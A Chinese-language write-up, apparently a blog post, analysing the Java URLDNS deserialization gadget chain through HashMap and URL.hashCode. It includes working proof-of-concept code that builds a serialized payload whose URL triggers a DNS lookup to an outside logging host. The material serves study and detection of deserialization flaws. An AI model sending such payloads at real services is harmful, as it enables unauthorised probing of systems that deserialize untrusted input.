URLDNS链子分析
URLDNS链子分析
序列化
Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
URLDNS分析
利用链
java
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
可以看出最后在执行到了hashCode中。
URL.hashCode()
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看出当hashCode != -1 时候可以继续执行handler.hashCode(this)
java
/* Our hash code.
* @serial
*/
private int hashCode = -1;
默认值正好是-1 所以只要把URL传入就可以构造一个满足的条件了。
在后续的handler.hashCode中解析了ip可以达到触发dnslog的方法 现在就是触发hashCode
HashMap.readObject
java
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在HashMap中重写了readObject,实现了反序列化化时候对内容的添加,在使用putVal添加时候依旧会对键进行hash计算。正好可以触发到URL的hashCode
构造一个序列化
java
URL url = new URL("http://ebcd430c.ipv6.1433.eu.org");
HashMap<Object,Object> hashMap = new HashMap<>();
// 添加到HashMap中
hashMap.put(url,1);
// 反射方法修改hashCode的值
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");
// 设置修改权限
hashCode.setAccessible(true);
hashCode.set(url,-1);
// 写入文件
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urlDns.bin")));
oos.writeObject(hashMap);
其中在添加到HashMap后要修改HashCode的值
因为HashMap.put方法中在添加值的时候对值也进行了hash的计算,从而触发了URL.hashCode然后导致了hashCode的值改变,但是因为hashCode值为private 所以需要通过反射的方法进行修改,把hashCode的值重新修改为-1
重新测试下反序列化
java
ObjectInputStream inputStream = new ObjectInputStream(Files.newInputStream(Paths.get("urlDns.bin")));
Object o = inputStream.readObject();
上面因为dns缓存的问题,直接put时候已经执行了一次 所以可以直接通过反射的方法添加HashMap
java
URL url = new URL("http://f4c877cc.ipv6.1433.eu.org");
HashMap<Object,Object> hashMap = new HashMap<>();
// 反射添加值
Class cls = hashMap.getClass();
Method method = cls.getDeclaredMethod("putVal", int.class,Object.class,Object.class,boolean.class,boolean.class);
method.setAccessible(true);
method.invoke(hashMap,0x00,url,1,false,true);